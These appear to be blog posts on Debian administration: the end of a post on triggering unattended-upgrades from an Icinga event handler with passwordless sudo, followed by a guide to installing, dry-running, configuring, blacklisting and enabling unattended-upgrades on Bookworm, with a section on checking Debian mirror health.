Defining the service and configuring the EventCommand

Then in your service definition add a suitable event_command:

apply Service "apt repositories" to Host {
  import "hourly-service"

  check_command = "check_apt_update"

  enable_event_handler = true
  // Execute unattended-upgrades automatically if service goes critical
  event_command = "execute_unattended_upgrades"
  // For services which should be executed ON the host itself
  command_endpoint = host.vars.agent_endpoint

  assign where host.vars.distribution == "Debian"

}

Creating the EventCommand

And create the EventCommand like this:

object EventCommand "execute_unattended_upgrades" {
  command = "sudo /usr/bin/unattended-upgrades"
}

Necessary sudo rights

This requires a sudo config file for the icinga user executing that command. And the commands must be executable without the need for a TTY, hence we end up with the following:

root@host:~# cat /etc/sudoers.d/icinga2
# This line disables the need for a tty for sudo
#  else we will get all kind of "sudo: a password is required" errors
Defaults:icinga2 !requiretty

# sudo rights for Icinga2
icinga2  ALL=(ALL) NOPASSWD: /usr/bin/unattended-upgrades
icinga2  ALL=(ALL) NOPASSWD: /usr/bin/unattended-upgrade
icinga2  ALL=(ALL) NOPASSWD: /usr/bin/apt-get
icinga2  ALL=(ALL) NOPASSWD: /usr/lib/nagios/plugins/check_apt

Conclusion

This is now sufficient as I'm notified when something prevents APT from properly updating the package lists. APT itself takes care to validate the various entries inside the Release file and exits with a non-zero exit-code, so there is no need to put that logic inside of check_apt.

Setting up similar checks for other monitoring systems is of course also possible. In general raising an alarm when apt-get update throws an non-zero exit-code is a somewhat foolproof method.

Photo by Markus Winkler: https://www.pexels.com/photo/the-word-update-is-spelled-out-in-scrabble-tiles-18524143/

Preface

At the time of this writing Debian Bookworm is the stable release of Debian. It utilizes Systemd timers for all automation tasks such as the updating of the package lists and execution of the actual apt-get upgrade. Therefore we won't need to configure APT-Parameters in files like /etc/apt/apt.conf.d/02periodic. In fact some of these files don't even exist on my systems. Keep that in mind if you read this article along with others, who might do things differently - or for older/newer releases of Debian.

Part 1 where I talk about the basics and prerequisites of unattended-upgrades along with many questions you should have answered prior using it is here: Using and configuring unattended-upgrades under Debian Bookworm - Part 1: Preparations

Note: As it took me considerably longer than expected to write this post please ignore discrepances in timestamps and versions.

Installing unattended-upgrades - however it's (most likely) not active yet

Enough with theory, let's switch to the shell. The installation is rather easy, a simple apt-get install unattended-upgrades is enough. However if you run the installation in an interactive way like this unattended-upgrades isn't configured to run automatically. The file /etc/apt/apt.conf.d/20auto-upgrades is missing. So check if it is present!

Note: That's one reason why you want to set the environment variable export DEBIAN_FRONTEND=noninteractive prior to the installation in your Ansible Playbooks/Puppet Manifest/Runbooks/Scripts, etc. or execute an dpkg-reconfigure -f noninteractive unattended-upgrades after the installation. Of course placing the file also solves the problem.😉

If you want to re-configure unattended-upgrades manually execute: dpkg-reconfigure unattended-upgrades and select yes at the prompt. But I advise you not just do it right yet.

root@host:~# apt-get install unattended-upgrades
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following additional packages will be installed:
  gir1.2-glib-2.0 libgirepository-1.0-1 python3-dbus python3-distro-info python3-gi
Suggested packages:
  python-dbus-doc bsd-mailx default-mta | mail-transport-agent needrestart powermgmt-base
The following NEW packages will be installed:
  gir1.2-glib-2.0 libgirepository-1.0-1 python3-dbus python3-distro-info python3-gi unattended-upgrades
0 upgraded, 6 newly installed, 0 to remove and 50 not upgraded.
Need to get 645 kB of archives.
After this operation, 2,544 kB of additional disk space will be used.
Do you want to continue? [Y/n]
Get:1 http://debian.tu-bs.de/debian bookworm/main amd64 libgirepository-1.0-1 amd64 1.74.0-3 [101 kB]
Get:2 http://debian.tu-bs.de/debian bookworm/main amd64 gir1.2-glib-2.0 amd64 1.74.0-3 [159 kB]
Get:3 http://debian.tu-bs.de/debian bookworm/main amd64 python3-dbus amd64 1.3.2-4+b1 [95.1 kB]
Get:4 http://debian.tu-bs.de/debian bookworm/main amd64 python3-distro-info all 1.5+deb12u1 [6,772 B]
Get:5 http://debian.tu-bs.de/debian bookworm/main amd64 python3-gi amd64 3.42.2-3+b1 [219 kB]
Get:6 http://debian.tu-bs.de/debian bookworm/main amd64 unattended-upgrades all 2.9.1+nmu3 [63.3 kB]
Fetched 645 kB in 0s (1,618 kB/s)
Preconfiguring packages ...
Selecting previously unselected package libgirepository-1.0-1:amd64.
(Reading database ... 33397 files and directories currently installed.)
Preparing to unpack .../0-libgirepository-1.0-1_1.74.0-3_amd64.deb ...
Unpacking libgirepository-1.0-1:amd64 (1.74.0-3) ...
Selecting previously unselected package gir1.2-glib-2.0:amd64.
Preparing to unpack .../1-gir1.2-glib-2.0_1.74.0-3_amd64.deb ...
Unpacking gir1.2-glib-2.0:amd64 (1.74.0-3) ...
Selecting previously unselected package python3-dbus.
Preparing to unpack .../2-python3-dbus_1.3.2-4+b1_amd64.deb ...
Unpacking python3-dbus (1.3.2-4+b1) ...
Selecting previously unselected package python3-distro-info.
Preparing to unpack .../3-python3-distro-info_1.5+deb12u1_all.deb ...
Unpacking python3-distro-info (1.5+deb12u1) ...
Selecting previously unselected package python3-gi.
Preparing to unpack .../4-python3-gi_3.42.2-3+b1_amd64.deb ...
Unpacking python3-gi (3.42.2-3+b1) ...
Selecting previously unselected package unattended-upgrades.
Preparing to unpack .../5-unattended-upgrades_2.9.1+nmu3_all.deb ...
Unpacking unattended-upgrades (2.9.1+nmu3) ...
Setting up python3-dbus (1.3.2-4+b1) ...
Setting up libgirepository-1.0-1:amd64 (1.74.0-3) ...
Setting up python3-distro-info (1.5+deb12u1) ...
Setting up unattended-upgrades (2.9.1+nmu3) ...

Creating config file /etc/apt/apt.conf.d/50unattended-upgrades with new version
Created symlink /etc/systemd/system/multi-user.target.wants/unattended-upgrades.service → /lib/systemd/system/unattended-upgrades.service.
Synchronizing state of unattended-upgrades.service with SysV service script with /lib/systemd/systemd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install enable unattended-upgrades
Setting up gir1.2-glib-2.0:amd64 (1.74.0-3) ...
Setting up python3-gi (3.42.2-3+b1) ...
Processing triggers for man-db (2.11.2-2) ...
Processing triggers for libc-bin (2.36-9+deb12u3) ...
root@host:~# 

After the installation we have a new Systemd service called unattended-upgrades.service however, if you think that stopping this service will disable unattended-upgrades you are mistaken. This unit-file solely exists to check if an unattended-upgrades run is in progress and ensure it isn't killed mid-process, for example, during a shutdown.

To disable unattended-upgrades we need to change the values in /etc/apt/apt.conf.d/20auto-upgrades to zero. But as written above: This file currently isn't present in our system yet.

root@host:~# ls -lach /etc/apt/apt.conf.d/20auto-upgrades
ls: cannot access '/etc/apt/apt.conf.d/20auto-upgrades': No such file or directory

However, as we want to have a look at the internals first, we do not fix this yet. Instead, let us have a look at the relevant Systemd unit and timer-files.

The Systemd unit and timer files unattended-upgrades relies upon

An systemctl list-timers --all will show you all in-/active timer files on our system along with the unit-file which is triggered by the timer. On every Debian system utilizing Systemd you will most likely have the following unit and timers files per-default. Even when unattended-upgrades is not installed.

root@host:~# systemctl list-timers --all
NEXT                         LEFT          LAST                         PASSED       UNIT                         ACTIVATES
Sat 2024-10-26 00:00:00 CEST 15min left    Fri 2024-10-25 00:00:00 CEST 23h ago      dpkg-db-backup.timer         dpkg-db-backup.service
Sat 2024-10-26 00:00:00 CEST 15min left    Fri 2024-10-25 00:00:00 CEST 23h ago      logrotate.timer              logrotate.service
Sat 2024-10-26 06:39:59 CEST 6h left       Fri 2024-10-25 06:56:26 CEST 16h ago      apt-daily-upgrade.timer      apt-daily-upgrade.service
Sat 2024-10-26 10:27:42 CEST 10h left      Fri 2024-10-25 08:18:00 CEST 15h ago      man-db.timer                 man-db.service
Sat 2024-10-26 11:13:30 CEST 11h left      Fri 2024-10-25 21:06:00 CEST 2h 38min ago apt-daily.timer              apt-daily.service
Sat 2024-10-26 22:43:26 CEST 22h left      Fri 2024-10-25 22:43:26 CEST 1h 0min ago  systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service
Sun 2024-10-27 03:10:37 CET  1 day 4h left Sun 2024-10-20 03:11:00 CEST 5 days ago   e2scrub_all.timer            e2scrub_all.service
Mon 2024-10-28 01:12:51 CET  2 days left   Mon 2024-10-21 01:40:06 CEST 4 days ago   fstrim.timer                 fstrim.service

9 timers listed.

Relevant are apt-daily.timer which activates apt-daily.service. This unit-file will execute /usr/lib/apt/apt.systemd.daily update. The script takes care of reading the necessary APT parameters and performing an apt-get update to update the package lists.

The timer apt-daily-upgrade.timer triggers the service apt-daily-upgrade.service. The unit-file will perform an /usr/lib/apt/apt.systemd.daily install and this is where the actual "apt-get upgrade-magic" happens. If the appropriate APT-values are set outstanding updates will be downloaded and installed.

Notice the absence of a specific unattended-upgrades unit-file or timer as unattended-upgrades is really just a script to automate the APT package system.

This effectively means: You are able to configure when package-list updates will be done and updates are installed by modifying the OnCalendar= parameter via drop-in files for the apt-daily(-upgrade).timer files.
The Systemd.timer documentation and man 7 systemd.time (systemd.time documentation) have all the glorious details.

I wont go into further detail regarding the /usr/lib/apt/apt.systemd.daily script. If you want to know more I recommend executing the script with bash's -x parameter (also called debug mode). This way commands and values are printed out as the script is run.

root@host:~# bash -x /usr/lib/apt/apt.systemd.daily update
# Read the output, view the script, trace the parameters and then execute:
root@host:~# bash -x /usr/lib/apt/apt.systemd.daily lock_is_held update

Or if you are more interested in the actual "How are the updates installed?"-part, perform the following:

root@host:~# bash -x /usr/lib/apt/apt.systemd.daily install
# Read the output, view the script, trace the parameters and then execute:
root@host:~# bash -x /usr/lib/apt/apt.systemd.daily lock_is_held install

It's a good lesson in understanding APT-internals/what Debian is running "under the hood".

But again: I advise you to make sure that no actual updates are installed when you do so. In order to learn how to make sure read along. 😇

How does everything work together? What makes unattended-upgrades being unattended?

Let us recapitulate. We installed the unattended-upgrades package, checked the relevant Systemd unit & timer files and had a brief look at the /usr/lib/apt/apt.systemd.daily script which is responsible for triggering the appropriate APT and unattended-upgrades commands.

APT itself is configured via the file in /etc/apt/apt.conf.d/. How can APT (or any human) know the setting of a specific parameter? Sure, you can grep through all the files - but that would also most likely include files with syntax errors etc.

Luckily there is apt-config this allows us to query APT and read specific values. This also makes sure of validating everything. If you've configured an APT-parameter in a file but apt-config doesn't reflect this - it's simply not applied and you must start to search where the error is.

Armed with this knowledge we can execute the following two commands to check if our package-lists will be updated automatically via the apt-daily.service and if unattended-upgrades will install packages. If there is no associated value, apt-config won't print out anything.

The two settings which are set inside /etc/apt/apt.conf.d/20auto-upgrades are APT::Periodic::Update-Package-Lists and APT::Periodic::Unattended-Upgrade. The first activates the automatic package-list updates while the later enables the automatic installation of updates. If we check them on our system with the manually installed unattended-upgrades package we will get the following:

root@host:~# apt-config dump APT::Periodic::Update-Package-Lists
root@host:~# apt-config dump APT::Periodic::Unattended-Upgrade

This means no package-list updates, no installation of updates. And currently this is what we want to keep experimenting a little bit before we are ready to hit production.

A working unattended-upgrades will give the following values:

root@host:~# apt-config dump APT::Periodic::Update-Package-Lists
APT::Periodic::Update-Package-Lists "1";
root@host:~# apt-config dump APT::Periodic::Unattended-Upgrade
APT::Periodic::Unattended-Upgrade "1";

First dry-run

Time to start our first unattended-upgrades dry-run. This way we can watch what would be done without actually modifying anything. I recommend utilizing the -v parameter in addition to --dry-run as else the following first 8 lines from the unattended-upgrades output itself will be omitted. Despite them being the most valuable ones for most novice users.

root@host:~# unattended-upgrades --dry-run -v
Checking if system is running on battery is skipped. Please install powermgmt-base package to check power status and skip installing updates when the system is running on battery.
Starting unattended upgrades script
Allowed origins are: origin=Debian,codename=bookworm,label=Debian, origin=Debian,codename=bookworm,label=Debian-Security, origin=Debian,codename=bookworm-security,label=Debian-Security
Initial blacklist:
Initial whitelist (not strict):
Option --dry-run given, *not* performing real actions
Packages that will be upgraded: base-files bind9-dnsutils bind9-host bind9-libs dnsutils git git-man initramfs-tools initramfs-tools-core intel-microcode libc-bin libc-l10n libc6 libc6-i386 libcurl3-gnutls libexpat1 libnss-systemd libpam-systemd libpython3.11-minimal libpython3.11-stdlib libssl3 libsystemd-shared libsystemd0 libudev1 linux-image-amd64 locales openssl python3.11 python3.11-minimal qemu-guest-agent systemd systemd-sysv systemd-timesyncd udev
Writing dpkg log to /var/log/unattended-upgrades/unattended-upgrades-dpkg.log
/usr/bin/dpkg --status-fd 10 --no-triggers --unpack --auto-deconfigure --recursive /tmp/apt-dpkg-install-o5g9u2
/usr/bin/dpkg --status-fd 10 --no-triggers --configure libsystemd0:amd64 libsystemd-shared:amd64 systemd:amd64
/usr/bin/dpkg --status-fd 10 --no-triggers --unpack --auto-deconfigure /var/cache/apt/archives/systemd-sysv_252.30-1~deb12u2_amd64.deb /var/cache/apt/archives/udev_252.30-1~deb12u2_amd64.deb /var/cache/apt/archives/libudev1_252.30-1~deb12u2_amd64.deb
/usr/bin/dpkg --status-fd 10 --no-triggers --configure libudev1:amd64
/usr/bin/dpkg --status-fd 10 --configure --pending
Preconfiguring packages ...
Preconfiguring packages ...
/usr/bin/dpkg --status-fd 10 --no-triggers --unpack --auto-deconfigure /var/cache/apt/archives/libc6-i386_2.36-9+deb12u8_amd64.deb /var/cache/apt/archives/libc6_2.36-9+deb12u8_amd64.deb
/usr/bin/dpkg --status-fd 10 --no-triggers --configure libc6:amd64
/usr/bin/dpkg --status-fd 10 --no-triggers --unpack --auto-deconfigure /var/cache/apt/archives/libc-bin_2.36-9+deb12u8_amd64.deb
/usr/bin/dpkg --status-fd 10 --no-triggers --configure libc-bin:amd64
/usr/bin/dpkg --status-fd 10 --no-triggers --unpack --auto-deconfigure /var/cache/apt/archives/libc-l10n_2.36-9+deb12u8_all.deb /var/cache/apt/archives/locales_2.36-9+deb12u8_all.deb
/usr/bin/dpkg --status-fd 10 --configure --pending
/usr/bin/dpkg --status-fd 10 --no-triggers --unpack --auto-deconfigure /var/cache/apt/archives/intel-microcode_3.20240813.1~deb12u1_amd64.deb
/usr/bin/dpkg --status-fd 10 --configure --pending
/usr/bin/dpkg --status-fd 10 --no-triggers --unpack --auto-deconfigure /var/cache/apt/archives/python3.11_3.11.2-6+deb12u3_amd64.deb /var/cache/apt/archives/libpython3.11-stdlib_3.11.2-6+deb12u3_amd64.deb /var/cache/apt/archives/python3.11-minimal_3.11.2-6+deb12u3_amd64.deb /var/cache/apt/archives/libpython3.11-minimal_3.11.2-6+deb12u3_amd64.deb
/usr/bin/dpkg --status-fd 10 --configure --pending
/usr/bin/dpkg --status-fd 10 --no-triggers --unpack --auto-deconfigure /var/cache/apt/archives/git_1%3a2.39.5-0+deb12u1_amd64.deb /var/cache/apt/archives/git-man_1%3a2.39.5-0+deb12u1_all.deb
/usr/bin/dpkg --status-fd 10 --configure --pending
/usr/bin/dpkg --status-fd 10 --no-triggers --unpack --auto-deconfigure /var/cache/apt/archives/base-files_12.4+deb12u7_amd64.deb
/usr/bin/dpkg --status-fd 10 --no-triggers --configure base-files:amd64
/usr/bin/dpkg --status-fd 10 --configure --pending
/usr/bin/dpkg --status-fd 10 --no-triggers --unpack --auto-deconfigure /var/cache/apt/archives/initramfs-tools_0.142+deb12u1_all.deb /var/cache/apt/archives/initramfs-tools-core_0.142+deb12u1_all.deb
/usr/bin/dpkg --status-fd 10 --configure --pending
/usr/bin/dpkg --status-fd 10 --no-triggers --unpack --auto-deconfigure /var/cache/apt/archives/bind9-dnsutils_1%3a9.18.28-1~deb12u2_amd64.deb /var/cache/apt/archives/bind9-host_1%3a9.18.28-1~deb12u2_amd64.deb /var/cache/apt/archives/bind9-libs_1%3a9.18.28-1~deb12u2_amd64.deb /var/cache/apt/archives/dnsutils_1%3a9.18.28-1~deb12u2_all.deb
/usr/bin/dpkg --status-fd 10 --configure --pending
/usr/bin/dpkg --status-fd 10 --no-triggers --unpack --auto-deconfigure /var/cache/apt/archives/libexpat1_2.5.0-1+deb12u1_amd64.deb
/usr/bin/dpkg --status-fd 10 --configure --pending
/usr/bin/dpkg --status-fd 10 --no-triggers --unpack --auto-deconfigure /var/cache/apt/archives/qemu-guest-agent_1%3a7.2+dfsg-7+deb12u7_amd64.deb
/usr/bin/dpkg --status-fd 10 --configure --pending
/usr/bin/dpkg --status-fd 10 --no-triggers --unpack --auto-deconfigure /var/cache/apt/archives/libssl3_3.0.14-1~deb12u2_amd64.deb /var/cache/apt/archives/openssl_3.0.14-1~deb12u2_amd64.deb
/usr/bin/dpkg --status-fd 10 --configure --pending
/usr/bin/dpkg --status-fd 10 --no-triggers --unpack --auto-deconfigure /var/cache/apt/archives/libcurl3-gnutls_7.88.1-10+deb12u7_amd64.deb
/usr/bin/dpkg --status-fd 10 --configure --pending
/usr/bin/dpkg --status-fd 10 --no-triggers --unpack --auto-deconfigure /var/cache/apt/archives/linux-image-6.1.0-26-amd64_6.1.112-1_amd64.deb /var/cache/apt/archives/linux-image-amd64_6.1.112-1_amd64.deb
/usr/bin/dpkg --status-fd 10 --configure --pending
All upgrades installed
The list of kept packages can't be calculated in dry-run mode.
root@host:~#

We get told which configured origins will be used (see part 1), all packages on the black- and whitelist and which actual packages will be upgraded. Just like if you are executing apt-get upgrade manually.

Also there is the neat line Writing dpkg log to /var/log/unattended-upgrades/unattended-upgrades-dpkg.log informing us of a logfile being written. How nice!

The dpkg-commands are what normally happens in the background to install and configure the packages. In 99% of all cases this is irrelevant. Nevertheless they become invaluable when an update goes sideways or dpkg/apt can't properly configure a package.

Where do we find this information afterwards?

Logfiles

There are two logfiles being written:

1. /var/log/unattended-upgrades/unattended-upgrades-dpkg.log
2. /var/log/unattended-upgrades/unattended-upgrades.log

And how do they differ?

/var/log/unattended-upgrades/unattended-upgrades-dpkg.log has all output from dpkg/apt itself. You remember all these Preparing to unpack... packagename, Unpacking packagename, Setting up packagename lines? The lines you encounter when you execute apt-get manually? Who weren't present in the output from our dry-run? This gets logged into that file. So if you are wondering when a certain packages was installed or what went wrong, this is the logfile to look into.

/var/log/unattended-upgrades/unattended-upgrades.log contains the output from unattended-upgrades itself. This makes it possible to check what allowed origins/blacklists/whitelists, etc. were used in a run. Conveniently the output also includes the packages which are suitable for upgrading.

Options! Give me options!

Now that we know how we can execute a dry-run and retrace what happened it's time to have a look at the various options unattended-upgrades offers.

I recommend reading the config file /etc/apt/apt.conf.d/50unattended-upgrades once completely as the various options to fine-tune the behaviour are listed at the end. If you want unattended-upgrades to send mails, or only install updates on shutdown/reboot this is your way to go.

Or do you want an automatic reboot after unattended-upgrades has done its job (see: Unattended-Upgrade::Automatic-Reboot)? Ensuring the new kernel and system libraries are instantly used? This is your way to go.

Adding the Proxmox Repository to unattended-upgrades

Enabling updates for packages in different repositories means we have to add a new Repository to unattended-upgrades first. Using our knowledge from Part 1 and looking at the Release file for the Proxmox pve-no-subscription Debian Bookworm repository we can build the following origins-pattern:

"origin=Proxmox,codename=${distro_codename},label=Proxmox Debian Repository,a=stable";

A new dry-run will show us that the packages proxmox-default-kernel and proxmox-kernel-6.5 will be upgraded.

root@host:~# unattended-upgrades -v --dry-run
Checking if system is running on battery is skipped. Please install powermgmt-base package to check power status and skip installing updates when the system is runnin on battery.
Checking if connection is metered is skipped. Please install python3-gi package to detect metered connections and skip downloading updates.
Starting unattended upgrades script
Allowed origins are: origin=Debian,codename=bookworm,label=Debian, origin=Debian,codename=bookworm,label=Debian-Security, origin=Debian,codename=bookworm-security,labl=Debian-Security, origin=Proxmox,codename=bookworm,label=Proxmox Debian Repository,a=stable
Initial blacklist:
Initial whitelist (not strict):
Option --dry-run given, *not* performing real actions
Packages that will be upgraded: proxmox-default-kernel proxmox-kernel-6.5
Writing dpkg log to /var/log/unattended-upgrades/unattended-upgrades-dpkg.log
/usr/bin/dpkg --status-fd 10 --no-triggers --unpack --auto-deconfigure /var/cache/apt/archives/proxmox-kernel-6.8.8-2-pve-signed_6.8.8-2_amd64.deb /var/cache/apt/archves/proxmox-kernel-6.8_6.8.8-2_all.deb /var/cache/apt/archives/proxmox-default-kernel_1.1.0_all.deb
/usr/bin/dpkg --status-fd 10 --configure --pending
/usr/bin/dpkg --status-fd 10 --no-triggers --unpack --auto-deconfigure /var/cache/apt/archives/proxmox-kernel-6.5.13-5-pve-signed_6.5.13-5_amd64.deb /var/cache/apt/arhives/proxmox-kernel-6.5_6.5.13-5_all.deb
/usr/bin/dpkg --status-fd 10 --configure --pending
All upgrades installed
The list of kept packages can't be calculated in dry-run mode.

In the next step we will use this to see how blacklisting works.

Note: Enabling unattended-upgrades for the Proxmox packages on the Proxmox host itself is a controversial topic. In clustered & productive setups I wouldn't recommend it too. But given this is my single-node, homelab Proxmox I have no problem with it.

However I have no problem with enabling OS updates as this is no different from what Proxmox themselves do/recommend: https://pve.proxmox.com/pve-docs/pve-admin-guide.html#system_software_updates

Blacklisting packages

Excluding a certain package from the automatic updates can be done in two different ways. Either you don't include the repository into the Unattended-Upgrade::Origins-Pattern block - effectively excluding all packages in the repository. Or you exclude only single packages by listing them inside the Unattended-Upgrade::Package-Blacklist block. The configuration file has examples for the various patterns needed (exact match, name beginning with a certain string, escaping, etc.)

The following line will blacklist all packages starting with proxmox- in their name.

Unattended-Upgrade::Package-Blacklist {
    // The following matches all packages starting with linux-
    //  "linux-";

    // Blacklist all proxmox- packages
    "proxmox-";

    [...]
};

Executing a dry-run again will give the following result:

root@host:~# unattended-upgrades -v --dry-run
Checking if system is running on battery is skipped. Please install powermgmt-base package to check power status and skip installing updates when the system is running on battery.
Checking if connection is metered is skipped. Please install python3-gi package to detect metered connections and skip downloading updates.
Starting unattended upgrades script
Allowed origins are: origin=Debian,codename=bookworm,label=Debian, origin=Debian,codename=bookworm,label=Debian-Security, origin=Debian,codename=bookworm-security,label=Debian-Security, origin=Proxmox,codename=bookworm,label=Proxmox Debian Repository,a=stable
Initial blacklist: proxmox-
Initial whitelist (not strict):
No packages found that can be upgraded unattended and no pending auto-removals
The list of kept packages can't be calculated in dry-run mode.

"The following packages have been kept back" - What does this mean? Will unattended-upgrades help me?

Given is the following output from a manual apt-get upgrade run.

root@host:~# apt-get upgrade
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
Calculating upgrade... Done
The following packages have been kept back:
  proxmox-default-kernel proxmox-kernel-6.5
0 upgraded, 0 newly installed, 0 to remove and 2 not upgraded.

The message means that the packages are part of so-called PhasedUpdates. Sadly documentation regarding this in Debian is a bit sparse. The manpage for apt_preference(5) has a paragraph about it but that's pretty much it.

Ubuntu has a separate Wiki article about it, as their update manager honors the setting: https://wiki.ubuntu.com/PhasedUpdates

What it means is that some updates won't be rolled out to all servers immediately. Instead a random number is generated which determines if the update is applied or not.

Quote from apt_preferences(5):
"A system's eligibility to a phased update is determined by seeding random number generator with the package source name, the version number, and /etc/machine-id, and then calculating an integer in the range [0, 100]. If this integer is larger than the Phased-Update-Percentage, the version is pinned to 1, and thus held back. Otherwise, normal policy rules apply."

Unattended-upgrades however will ignore this and install the updates. If that is good or bad depends on your situation. Luckily there was some recent activity in the GitHub Issue regarding this topic, so it may be resolved soon-ish: unattended-upgrades on GitHub, issue 259: Please honor Phased-Update-Percentage for package versions

Enabling unattended-upgrades

Now it's finally time to enable unattended-upgrades for our system. Execute dpkg-reconfigure -f noninteractive unattended-upgrades and check that the /etc/apt/apt.conf.d/20auto-upgrades file is present with the following content:

root@host:~# cat /etc/apt/apt.conf.d/20auto-upgrades
APT::Periodic::Update-Package-Lists "1";
APT::Periodic::Unattended-Upgrade "1";

After that verify that APT has indeed the correct values for those parameters:

root@host:~# apt-config dump APT::Periodic::Update-Package-Lists
APT::Periodic::Update-Package-Lists "1";
root@host:~# apt-config dump APT::Periodic::Unattended-Upgrade
APT::Periodic::Unattended-Upgrade "1";

You are then able to determine when the first run will happen by checking via systemctl list-timers apt-daily.timer apt-daily-upgrade.timer.

root@host:~# systemctl list-timers apt-daily.timer apt-daily-upgrade.timer
NEXT                        LEFT          LAST                        PASSED  UNIT                    ACTIVATES
Sat 2024-10-26 03:39:58 UTC 16min left    Fri 2024-10-25 09:12:58 UTC 18h ago apt-daily.timer         apt-daily.service
Sat 2024-10-26 06:21:30 UTC 2h 58min left Fri 2024-10-25 06:24:40 UTC 20h ago apt-daily-upgrade.timer apt-daily-upgrade.service

Set yourself a reminder in your calendar to check the logfiles and enjoy your automatic updates!

How to check the health of a Debian mirror

Remember how I, in part 1 of this series, mentioned that Debian mirrors are rarely out-of-sync, etc.? Yep, and now it happened while I was typing this post. The perfect opportunity to show you how to check your Debian mirror.

The error I got was the following:

root@host:~# apt-get update
Hit:1 http://security.debian.org/debian-security bookworm-security InRelease
Hit:2 http://debian.tu-bs.de/debian bookworm InRelease
Get:3 http://debian.tu-bs.de/debian bookworm-updates InRelease [55.4 kB]
Reading package lists... Done
E: Release file for http://debian.tu-bs.de/debian/dists/bookworm-updates/InRelease is expired (invalid since 16d 0h 59min 33s). Updates for this repository will not be applied.

The reason is that the InRelease file contains a Valid-Until timestamp. And currently it has the following value:
Valid-Until: Sat, 22 Jun 2024 20:12:12 UTC

As this error originates on a remote host there is nothing I can do apart from switching to another Debian repository.

But how can you actually check that? https://mirror-master.debian.org/status/mirror-status.html lists the status of all Debian Mirrors. If we search for debian.tu-bs.de we can see that the mirror indeed has problems and since when the error exists.

Side note: Checking the mirror hierarchy can also be relevant sometimes: https://mirror-master.debian.org/status/mirror-hierarchy.html

Also.. 22 days without noticing that the Debian mirror I use is broken? Yeah.. Let's define a monitoring check for that. Something I didn't do for my setup at home.

As this would make this article unnecessarily larger I made a separate blog post about it. So feel free to read this next: How to monitor your APT-repositories with Icinga